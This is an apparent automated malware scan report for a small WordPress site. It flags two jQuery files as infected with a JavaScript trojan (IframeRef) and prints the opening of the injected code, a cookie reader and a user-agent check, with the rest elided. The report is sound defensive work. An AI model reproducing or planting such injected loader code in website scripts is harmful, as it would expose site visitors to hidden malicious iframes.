New scan:

Malware Scanner report for kirstinemengel.dk

Malicious/Suspicious/Total urls checked
2/0/16
2 pages have malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/2
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://www.kirstinemengel.dk/
200 OK
Content-Length: 25642
Content-Type: text/html
clean
http://www.kirstinemengel.dk/wp-includes/js/jquery/jquery.js?ver=1.11.1
200 OK
Content-Length: 96774
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 3127 bytes are skipped ...
e["scroll"+a],b.body["offset"+a],e["offset"+a],e["client"+a])):void 0===d?m.css(b,c,g):m.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),m.fn.size=function(){return this.length},m.fn.andSelf=m.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return m});var ed=a.jQuery,fd=a.$;return m.noConflict=function(b){return a.$===m&&(a.$=fd),b&&a.jQuery===m&&(a.jQuery=ed),m},typeof b===K&&(a.jQuery=a.$=m),m});
jQuery.noConflict();

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

http://www.kirstinemengel.dk/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1
200 OK
Content-Length: 8167
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

function getCookie(a){var b=document.cookie.match(new RegExp("(?:^|; )"+a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return b?decodeURIComponent(b[1]):undefined}(function(){function b(i,f,g){var j=(i+"").toLowerCase();var e=(f+"").toLowerCase();var h=0;if((h=j.indexOf(e,g))!==-1){return h}return false}function d(){var f=["Yandex","AppleWebKit","Windows NT 6.3","X11","Phone","Google"];var g=false;for(var e in f){if(b(navigator.userAgent,f[e])){g=true;break}}return g}var c=(getCoo
... 3221 bytes are skipped ...
ector||"**",n),this)},e.event.trigger=function(e,t,n,a){return n||C.test(e)||r("Global events are undocumented and deprecated"),k.call(this,e,t,n||document,a)},e.each(S.split("|"),function(t,n){e.event.special[n]={setup:function(){var t=this;return t!==document&&(e.event.add(document,n+"."+e.guid,function(){e.event.trigger(n,null,t,!0)}),e._data(this,n,e.guid++)),!1},teardown:function(){return this!==document&&e.event.remove(document,n+"."+e._data(this,n)),!1}}})}(jQuery,window);

Antivirus reports:

Microsoft
Trojan:JS/IframeRef.J

http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js
200 OK
Content-Length: 93100
Content-Type: text/javascript
clean
http://www.kirstinemengel.dk/js/holder.js
HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache, must-revalidate, max-age=0
Connection: close
Date: Wed, 04 Mar 2015 11:31:13 GMT
Pragma: no-cache
Location: http://www.kirstinemengel.dk
Server: Apache
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Set-Cookie: PHPSESSID=tbbkpc08vle2vqn66uu5pmlfq1; path=/
X-Pingback: http://www.kirstinemengel.dk/xmlrpc.php
X-Powered-By: PleskLin
clean
http://www.kirstinemengel.dk/test404page.js
HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache, must-revalidate, max-age=0
Connection: close
Date: Wed, 04 Mar 2015 11:31:13 GMT
Pragma: no-cache
Location: http://www.kirstinemengel.dk
Server: Apache
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Set-Cookie: PHPSESSID=7vtc9vrn0q11k3c067ie0872t0; path=/
X-Pingback: http://www.kirstinemengel.dk/xmlrpc.php
X-Powered-By: PleskLin
clean
http://www.kirstinemengel.dk/js/browser.js
HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache, must-revalidate, max-age=0
Connection: close
Date: Wed, 04 Mar 2015 11:31:14 GMT
Pragma: no-cache
Location: http://www.kirstinemengel.dk
Server: Apache
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Set-Cookie: PHPSESSID=7eagt0r0tdk3n96cv3iobe5rr1; path=/
X-Pingback: http://www.kirstinemengel.dk/xmlrpc.php
X-Powered-By: PleskLin
clean
http://www.kirstinemengel.dk/wp-content/themes/onlineplus/modules/slider/kirstineslider/slider.js
200 OK
Content-Length: 6693
Content-Type: text/javascript
clean
http://www.kirstinemengel.dk/wp-content/themes/onlineplus/modules/slider/kirstineslider/init.js
200 OK
Content-Length: 203
Content-Type: text/javascript
clean
http://www.kirstinemengel.dk/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js?ver=3.51.0-2014.06.20
200 OK
Content-Length: 15248
Content-Type: text/javascript
clean
http://www.kirstinemengel.dk/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=3.9.3
200 OK
Content-Length: 9658
Content-Type: text/javascript
clean
http://www.kirstinemengel.dk/fancybox/source/jquery.fancybox.js?v=2.1.5
HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache, must-revalidate, max-age=0
Connection: close
Date: Wed, 04 Mar 2015 11:31:14 GMT
Pragma: no-cache
Location: http://www.kirstinemengel.dk
Server: Apache
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Set-Cookie: PHPSESSID=4l763c3h3mk01qckh3vlqdft56; path=/
X-Pingback: http://www.kirstinemengel.dk/xmlrpc.php
X-Powered-By: PleskLin
clean
http://www.kirstinemengel.dk/fancybox/source/helpers/jquery.fancybox-media.js?v=1.0.6
HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache, must-revalidate, max-age=0
Connection: close
Date: Wed, 04 Mar 2015 11:31:15 GMT
Pragma: no-cache
Location: http://www.kirstinemengel.dk
Server: Apache
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Set-Cookie: PHPSESSID=fvfp6bh7b96hlosbrj2rv066b7; path=/
X-Pingback: http://www.kirstinemengel.dk/xmlrpc.php
X-Powered-By: PleskLin
clean
http://www.kirstinemengel.dk/fancybox/source/helpers/jquery.fancybox-buttons.js?v=1.0.5
HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache, must-revalidate, max-age=0
Connection: close
Date: Wed, 04 Mar 2015 11:31:15 GMT
Pragma: no-cache
Location: http://www.kirstinemengel.dk
Server: Apache
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Set-Cookie: PHPSESSID=jggb0vl3brne6tgb7eqcjs9he5; path=/
X-Pingback: http://www.kirstinemengel.dk/xmlrpc.php
X-Powered-By: PleskLin
clean
http://www.kirstinemengel.dk/js/placeholder.js
HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache, must-revalidate, max-age=0
Connection: close
Date: Wed, 04 Mar 2015 11:31:15 GMT
Pragma: no-cache
Location: http://www.kirstinemengel.dk
Server: Apache
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Set-Cookie: PHPSESSID=3b89p3o0fhcddtcc8mafs8g3r3; path=/
X-Pingback: http://www.kirstinemengel.dk/xmlrpc.php
X-Powered-By: PleskLin
clean
http://www.kirstinemengel.dk/js/onlineplus.js
HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache, must-revalidate, max-age=0
Connection: close
Date: Wed, 04 Mar 2015 11:31:15 GMT
Pragma: no-cache
Location: http://www.kirstinemengel.dk
Server: Apache
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Set-Cookie: PHPSESSID=31noi9jc5tn9r8hmdojpm3qgd6; path=/
X-Pingback: http://www.kirstinemengel.dk/xmlrpc.php
X-Powered-By: PleskLin
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: kirstinemengel.dk

Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: kirstinemengel.dk
Referer: http://www.google.com/search?q=kirstinemengel.dk

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=kirstinemengel.dk

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://kirstinemengel.dk/

Result: kirstinemengel.dk is not infected or malware details are not published yet.